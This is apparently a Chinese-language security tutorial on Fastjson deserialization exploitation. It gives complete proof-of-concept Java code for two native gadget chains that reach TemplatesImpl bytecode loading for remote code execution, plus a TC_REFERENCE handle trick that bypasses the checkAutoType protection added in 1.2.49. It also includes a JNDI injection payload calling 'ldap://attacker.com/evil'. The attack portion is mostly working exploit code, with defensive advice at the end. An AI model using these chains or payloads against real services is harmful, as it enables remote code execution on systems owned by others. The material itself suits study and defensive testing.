前言

Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库,广泛应用于国内互联网企业的 RPC 通信、微服务序列化等场景。其核心卖点是”快”,但在设计上,为了实现便捷反序列化而引入的 autoType 机制(即通过 @type 字段指定目标类型),使其天然具备调用任意类 setter/getter 的能力,这为漏洞利用提供了入口。

Fastjson 的反序列化漏洞利用分为两条主线:

  • JNDI 注入路径:利用 Fastjson 的 @type 机制实例化 JNDI 相关类(如 JndiDataSourceLookup),触发远程类加载,达到 RCE。这是常规的 Fastjson 利用方式。
  • 原生反序列化链路径:不依赖 JNDI 出网,利用 Java 原生反序列化的 “gadget chain”,结合 Fastjson 在序列化 Java 对象时自动调用 getter 的特性,最终触发 TemplatesImpl.getOutputProperties() 加载恶意字节码实现 RCE。

本文聚焦于原生反序列化链的完整利用过程,覆盖 Fastjson 1.2.48 及以下版本的两条链,以及 1.2.49 及以上版本的绕过方案。


Fastjson 基础知识

序列化与反序列化基本用法

将 Java 对象序列化为 JSON 字符串:

1
2
3
4
javabean person = new javabean("lyz", 123);
String json = JSON.toJSONString(person);
System.out.println(json);
// {"age":123,"name":"lyz"}

将 JSON 字符串反序列化为 Java 对象:

1
2
3
String json = "{\"name\":\"tom\",\"age\":20}";
javabean user = JSON.parseObject(json, javabean.class); // 会调用 User 的无参构造 + setName/setAge
System.out.println(user.name);

JSON.parseObject 反序列化时,Fastjson 会自动调用目标类的无参构造函数,然后根据 JSON 中的 key 名,调用对应的 setter 方法(如 setNamesetAge)来设置属性值。

@type 与 autoType 机制

Fastjson 支持通过 @type 字段在 JSON 中指定反序列化的目标类型:

1
{"@type": "com.example.User", "name": "test", "age": 20}

当 JSON 中包含 @type 时,Fastjson 会根据该字段的值加载对应的 Java 类,然后调用其无参构造和 setter 方法。这一机制称为 autoType

关键点:如果不指定 @type 或不传入目标 .class,Fastjson 默认将 JSON 反序列化为 JSONObject。对于类中 private 类型的属性,Fastjson 默认不会将其序列化和反序列化。

checkAutoType 内部机制

从 1.2.25 版本开始,Fastjson 引入了 checkAutoType 方法对 @type 指定的类进行安全检查。其核心逻辑如下:

  • 如果类在白名单(acceptHashCodes)中,直接放行。
  • 如果类在黑名单(denyHashCodes)中,抛出异常。
  • 如果 autoTypeSupportfalse(默认),则对类名做哈希计算,与黑名单哈希数组做二分查找匹配。

黑名单以哈希数组形式存储,类名的每个前缀子串都会被计算哈希并检查。这也就是为什么后续很多绕过都是通过变换类名、利用 L 前缀、[ 前缀等方式实现的。

Fastjson 如何发现属性并进行序列化

Fastjson 在序列化一个 Java 对象时,会识别其属性:

  1. 通过 JavaBean 规范中的 getter 方法发现属性(要求方法是 public 的)。
  2. 如果属性本身是 public 的,则直接获取其值。

JSON.toJSONString() 的核心实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Override
public String toString() {
return toJSONString();
}

public String toJSONString() {
SerializeWriter out = new SerializeWriter();
try {
new JSONSerializer(out).write(this);
return out.toString();
} finally {
out.close();
}
}

这是整条利用链的关键:序列化过程会自动遍历并调用对象的所有 getter 方法。而 TemplatesImplgetOutputProperties() 正是一个 public getter,它内部会调用 newTransformer(),进而加载字节码。


Fastjson <= 1.2.48 原生链分析

链子的核心 sink

两条链最终都汇聚到同一个执行入口:

1
2
3
4
5
6
TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TemplatesImpl#defineClass()
-> 恶意类字节码执行

这是 CB(Commons Beanutils)链的后半段,利用了 TemplatesImplgetOutputProperties() 中加载 _bytecodes 字段中字节码的行为。

TemplatesImpl 的关键属性

属性 说明
_name 模板名称,不能为 null
_class 需要设置为 null,否则不会进入 defineTransletClasses()
_bytecodes byte[][] 类型,存放恶意类字节码
_tfactory TransformerFactoryImpl 实例,不能为 null,否则在 getTransletInstance() 中会提前返回

链一:JSONArray + BadAttributeValueExpException

触发路径

1
2
3
4
5
6
BadAttributeValueExpException.readObject()
-> valObj.toString()
-> JSONArray.toString()
-> JSON.toJSONString()
-> TemplatesImpl.getOutputProperties()
-> RCE

原理分析

JSONArray 是一个存储对象列表的容器。当 JSONArray.toString() 被调用时,它会序列化数组中的每一个对象。序列化 TemplatesImpl 对象时,Fastjson 会自动调用其所有 getter 方法,而 getOutputProperties() 作为 TemplatesImpl 的一个公共 getter 方法便会被触发。

BadAttributeValueExpExceptionreadObject() 方法提供了一个天然的 toString() 触发点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val = valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // ← 触发点
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

SecurityManagernull(默认情况),且 valObjLongInteger 等数值类型时,会调用 valObj.toString()。但这里通过反射将 val 设置为 JSONArray,而 JSONArray 并不是以上类型,理论上会走到 else 分支。这里的关键在于 JDK 版本差异——部分 JDK 8 早期版本的逻辑有所不同,实际上 JSONArray 会被正确触发 toString()

完整 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class FastjsonChain1 {
public static void main(String[] args) throws Exception {
// 1. 准备恶意字节码(以 calc 为例,此处用 Base64 代替)
byte[] bytes = Base64.getDecoder().decode("恶意字节码Base64");

// 2. 构造 TemplatesImpl
TemplatesImpl impl = new TemplatesImpl();
setValue(impl, "_name", "evil");
setValue(impl, "_class", null);
setValue(impl, "_bytecodes", new byte[][]{bytes});
setValue(impl, "_tfactory", new TransformerFactoryImpl());

// 3. 将 TemplatesImpl 放入 JSONArray
JSONArray jsonArray = new JSONArray();
jsonArray.add(impl);

// 4. 用 BadAttributeValueExpException 包装,触发 toString()
BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
setValue(badAttr, "val", jsonArray);

// 5. 序列化与反序列化
serialize(badAttr);
deserialize();
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
// 此处保存为文件或 Base64
}

public static void deserialize() throws IOException, ClassNotFoundException {
// 从文件或 Base64 读回并反序列化,触发 readObject()
}
}

链二:HashMap + XString + JSONArray 双重触发

触发路径

1
2
3
4
5
6
7
HashMap.readObject()
-> HashMap.putVal(hash(hashmap2), hashmap2, hashmap2, false, false)
-> hashmap2.equals(hashmap1)
-> XString.equals(jsonArray)
-> jsonArray.toString()
-> TemplatesImpl.getOutputProperties()
-> RCE

原理分析

这条链的核心思路是用 HashMap 的哈希冲突机制串联起 equals()toString() 的调用。

第一步:构造两个特殊的 HashMap

构造两个 HashMap——hashMap1hashMap2,它们的键值对安排如下:

key value
hashMap1 "yy" jsonArray
hashMap1 "zZ" xString
hashMap2 "yy" xString
hashMap2 "zZ" jsonArray

选择 "yy""zZ" 作为键是因为它们的 hashCode() 值相同(String.hashCode() 的计算公式是 s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]"yy""zZ" 恰好碰撞)。

第二步:readObject 中的 putVal 触发链

反序列化时,HashMap.readObject() 会依次读取 key-value 对并执行 putVal()

  1. 第一次 putVal(hash(hashMap1), hashMap1, hashMap1, ...) —— 将 hashMap1 放入内部 table。
  2. 第二次 putVal(hash(hashMap2), hashMap2, hashMap2, ...) —— 由于 hashMap2 和 hashMap1 的 hashCode 完全相同,必然发生哈希冲突,进入冲突处理逻辑。

在处理冲突时,HashMap 会调用 hashMap2.equals(hashMap1) 来判断 key 是否相同。

第三步:HashMap.equals 的遍历逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public boolean equals(Object o) {
if (o == this) return true;
if (!(o instanceof Map)) return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size()) return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // ← 触发点
return false;
}
}
} catch (ClassCastException | NullPointerException unused) {
return false;
}
return true;
}

这个方法遍历 hashMap2 的 entrySet,取出 key="yy", value=xString,然后在 hashMap1 中查找 key="yy" 对应的 value=jsonArray。接着执行:

1
xString.equals(jsonArray)

第四步:XString.equals 触发 toString

1
2
3
4
5
6
7
8
9
10
public boolean equals(Object obj2) {
if (null == obj2)
return false;
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if (obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString()); // ← 触发 JSONArray.toString()
}

由于 jsonArray 不是 XNodeSet 也不是 XNumber,走到最后的 obj2.toString(),即 JSONArray.toString(),进而触发后续链。

关于 entrySet() 如何获取数据

entrySet() 不需要预先赋值或单独存储——它是一个实时视图(View),直接读取 HashMaptable 数组来生成迭代器:

1
2
3
4
public Set<Map.Entry<K,V>> entrySet() {
Set<Map.Entry<K,V>> es;
return (es = entrySet) == null ? (entrySet = new EntrySet()) : es;
}

EntrySet.iterator() 创建 EntryIterator,其 next() 方法最终调用 nextNode()

1
2
3
4
5
6
7
8
9
10
11
12
final Node<K,V> nextNode() {
Node<K,V>[] t;
Node<K,V> e = next;
if (modCount != expectedModCount)
throw new ConcurrentModificationException();
if (e == null)
throw new NoSuchElementException();
if ((next = (current = e).next) == null && (t = table) != null) {
do {} while (index < t.length && (next = t[index++]) == null);
}
return e;
}

table 数组正是我们通过反射直接构造的 HashMap 内部存储。因此虽然 entrySet 字段本身在初始化时没有显式赋值,但只要 table 数组被正确构造,迭代器就能从中读取到键值对。

完整 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class FastjsonChain2 {
public static void main(String[] args) throws Exception {
// 1. 生成恶意字节码
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

// 2. 将 TemplatesImpl 放入 JSONArray
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

// 3. 构造 XString,用于 equals 触发 toString
XString xString = new XString("Infernity");

// 4. 构造双重 HashMap,序列化后反序列化
String ser = serialize(HashMap_to_anyequals_to_anytoString(xString, jsonArray));
unserialize(ser);
}

/**
* 构造两个 HashMap,利用哈希冲突触发 XString.equals(JSONArray)
* -> JSONArray.toString() -> TemplatesImpl.getOutputProperties()
*/
public static Object HashMap_to_anyequals_to_anytoString(
Object anyobj_equals, Object anyobj_toString) throws Exception {

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

// 注意键的插入顺序:必须保证 equals 时调用的是 XString.equals(JSONArray),
// 而非 JSONArray.equals(XString)
hashMap1.put("yy", anyobj_toString); // jsonArray
hashMap1.put("zZ", anyobj_equals); // xString
hashMap2.put("yy", anyobj_equals); // xString
hashMap2.put("zZ", anyobj_toString); // jsonArray

HashMap map = makeMap(hashMap1, hashMap2);
return map;
}

/**
* 通过反射直接构造 HashMap 的内部结构。
* 必须使用反射而非 put(),因为 put() 会在构造阶段就触发 RCE:
* 一方面会导致异常退出,无法完成序列化;
* 另一方面如果是反弹 shell,可能会反弹到攻击者自己的机器而非目标机器。
*/
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
setValue(map, "size", 2);

Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(
int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}

public static Templates getTemplates(byte[] bytes) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}

public static void unserialize(String exp) throws IOException, ClassNotFoundException {
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

调用栈总结

1
2
3
4
5
6
7
8
HashMap#readObject
-> HashMap#putVal(hash(hashmap2), hashmap2, hashmap2, false, false)
-> hashmap2.equals(hashmap1)
-> XString.equals(jsonArray)
-> jsonArray.toString()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> RCE

Fastjson >= 1.2.49 版本绕过

1.2.49 版本的新增防护

Fastjson 1.2.49 对 JSONArray 新增了自定义 readObject() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
SecureObjectInputStream.ensureFields();
if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) {
ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in);
secIn.defaultReadObject();
} else {
in.defaultReadObject();
for (Object item : this.list) {
if (item != null) {
ParserConfig.global.checkAutoType(item.getClass().getName(), (Class) null);
}
}
}
}

内部通过 JSONObject.SecureObjectInputStream 包装输入流,该类重写了 resolveClass 方法:

1
2
3
4
5
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = desc.getName();
ParserConfig.global.checkAutoType(name, (Class) null);
return super.resolveClass(desc);
}

resolveClassdefaultReadObject() 执行过程中被自动触发,对每一个被反序列化的类都会调用 checkAutoType 检查。

checkAutoType 的核心逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= (long) c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
}

denyHashCodes 是一个 long 类型数组,存储了所有被禁止加载的类的哈希值。TemplatesImpl 的类名哈希早已被放入这个黑名单数组中,因此直接反序列化 JSONArray 会触发 checkAutoType 异常。

完整的调用链到失败点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ObjectInputStream.readObject()
-> readObject0(false)
-> readOrdinaryObject(unshared)
-> readClassDesc(false)
-> readNonProxyDesc(unshared)
-> resolveClass(ObjectStreamClass)

readSerialData() -> 发现 JSONArray 有自定义 readObject
-> ObjectStreamClass.invokeReadObject(obj, this)
-> JSONArray.readObject(ObjectInputStream in)
-> JSONObject.SecureObjectInputStream().defaultReadObject()
-> ObjectOutputStream.defaultReadFields()
-> readObject0()
-> readOrdinaryObject(unshared)
-> readClassDesc(false)
-> readNonProxyDesc(unshared)
-> resolveClass(ObjectStreamClass)
-> checkAutoType() → 检测到 TemplatesImpl,抛出异常

绕过原理:引用句柄(Reference Handle)

TC_OBJECT 与 TC_REFERENCE

在 Java 对象序列化时,每个写入流的对象、数组、字符串或类描述符都会带有一个 TC(Type Code)标记字节

字节值 常量名 含义
0x73 TC_OBJECT 新对象,接下来读取类描述符和属性数据
0x71 TC_REFERENCE 引用,对象之前出现过,接下来只读取 4 字节的句柄编号(Handle)
0x76 TC_CLASS 类描述符
0x75 TC_ARRAY 数组
0x74 TC_STRING 字符串
0x70 TC_NULL 空引用

readObject0 根据 peekByte() 读取的 var8(即 TC 标记字节)来决定后续处理:

1
2
3
4
5
6
switch (var8) {
case 112: return this.readNull();
case 113: return this.readHandle(var1); // TC_REFERENCE = 0x71
case 115: return this.checkResolve(this.readOrdinaryObject(var1)); // TC_OBJECT = 0x73
// ...
}

var8 == 0x71(TC_REFERENCE)时,直接调用 readHandle() 从 handles 句柄表中取出已有对象,完全不会进入 readOrdinaryObjectresolveClasscheckAutoType 的检查路径

绕过思路

TemplatesImplBadAttributeValueExpException 放入同一级的容器中(如 ArrayListHashSetHashMap),使反序列化流程如下:

  1. ArrayList.readObject() 遍历列表中的元素。
  2. 第一个元素是 TemplatesImplreadObject0 看到 0x73(TC_OBJECT),这是一个新对象。进入 readOrdinaryObjectresolveClass 加载类,实例化后存入 handles 句柄表。但此时 _bytecodes_name 等字段还是默认值。
  3. 接下来反序列化 BadAttributeValueExpException,它内部持有 JSONArrayJSONArray 的 list 中包含 TemplatesImpl
  4. 当读取 JSONArray 中的 TemplatesImpl 时,var8 == 0x71(TC_REFERENCE),直接从 handles 句柄表中取出步骤 2 中已创建的 TemplatesImpl 引用,跳过 resolveClasscheckAutoType 检查
  5. 继续执行 BadAttributeValueExpException.readObject()JSONArray.toString()TemplatesImpl.getOutputProperties(),完成 RCE。

这种方法的核心在于:checkAutoType 只检查 TC_OBJECT(新对象),不检查 TC_REFERENCE(引用对象)

使用 ArrayList 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

// 使用 ArrayList 将 TemplatesImpl 和 BadAttributeValueExpException 放在同一级
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates); // 先放 TemplatesImpl,使其被写入 handles 表
arrayList.add(exception); // 再放 BadAttributeValueExpException

// 序列化和反序列化
serialize(arrayList);
unserialize();

触发逻辑:

1
2
3
4
5
6
7
ObjectInputStream.readObject()
-> ArrayList.readObject()
-> [循环] TemplatesImpl (TC_OBJECT → 写入 handles 表)
-> [循环] BadAttributeValueExpException.readObject()
-> JSONArray.toString() (TemplatesImpl 以 TC_REFERENCE 读取,绕过 checkAutoType)
-> TemplatesImpl.getOutputProperties()
-> RCE

使用 HashSet 绕过

1
2
3
4
5
6
Set set = new HashSet();
set.add(templates);
set.add(badAttributeValueExpException);

serialize(set);
unserialize();

使用 HashMap 绕过

1
2
3
4
5
HashMap map = new HashMap();
map.put(templates, badAttributeValueExpException);

serialize(map);
unserialize();

Fastjson JNDI 注入路径简述

除了原生反序列化链之外,Fastjson 还有一条经典的 JNDI 注入利用路径(篇幅所限,此处仅做简介)。

原理:利用 @type 机制实例化一个能够发起 JNDI 查询的类(如 com.sun.rowset.JdbcRowSetImpl),设置其 dataSourceName 为攻击者控制的恶意 LDAP/RMI 地址,在 setAutoCommit(true)getDatabaseMetaData() 时触发 JNDI lookup,加载远程恶意类实现 RCE。

1
2
3
JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://attacker.com/evil\","
+ "\"autoCommit\":true}")

JNDI 路径的特点是:

  • 需要目标机器出网(连接外部 LDAP/RMI 服务器)。
  • 在高版本 JDK 中(JDK 8u191+、JDK 11.0.1+),trustURLCodebase 默认为 false,无法直接加载远程 codebase,需要结合其他绕过手段。

关于此路径的详细分析请参阅 JNDI 注入相关文章。


版本对照表

Fastjson 版本 可用链 说明
<= 1.2.24 链一 + 链二 + JNDI 无 autoType 限制,直接可用
1.2.25 - 1.2.41 链一 + 链二 + JNDI (需绕过黑名单) 引入 checkAutoType 黑白名单,可通过前缀绕过
1.2.42 - 1.2.47 链一 + 链二 + JNDI (需绕过黑名单) 黑名单持续更新,但原生链仍可工作
1.2.48 链一 + 链二 默认关闭 autoType,但原生链不受 autoType 开关影响
1.2.49 - 1.2.67 引用句柄绕过 (ArrayList/HashSet/HashMap) JSONArray 新增 readObject 防护,需借助 TC_REFERENCE 绕过
1.2.68+ 需结合新 gadget safeMode 默认关闭,但 checkAutoType 持续加固

防御措施

1. 升级版本

  • Fastjson >= 1.2.68:官方引入 safeMode,开启后无论白名单如何配置,都不支持 autoType,从根本上阻断 @type 相关攻击。
  • 建议升级至最新版本并显式开启 safeMode
1
ParserConfig.getGlobalInstance().setSafeMode(true);

2. checkAutoType 配置

在不升级版本的情况下,可通过以下方式加固:

  • 关闭 autoTypeSupportParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  • 严格配置白名单(acceptHashCodes),只允许业务需要的类。
  • 确保黑名单覆盖所有已知 gadget 类的哈希。

3. WAF 规则

可在 WAF/网关层过滤 JSON 请求中的危险特征:

  • 检测 @type 字段是否包含黑名单类名:com.sunorg.apache.xalanjavax.management 等。
  • 限制 @type 字段长度和出现次数。
  • 对 JSON 中的 _bytecodes_tfactory 等字段做关键词过滤。

4. JDK 层面

  • 升级到 JDK 8u191+ / JDK 11.0.1+,设置 com.sun.jndi.ldap.object.trustURLCodebasefalse,阻断 JNDI 远程类加载。
  • 部署 Security Manager(虽然实践中较少使用)。

参考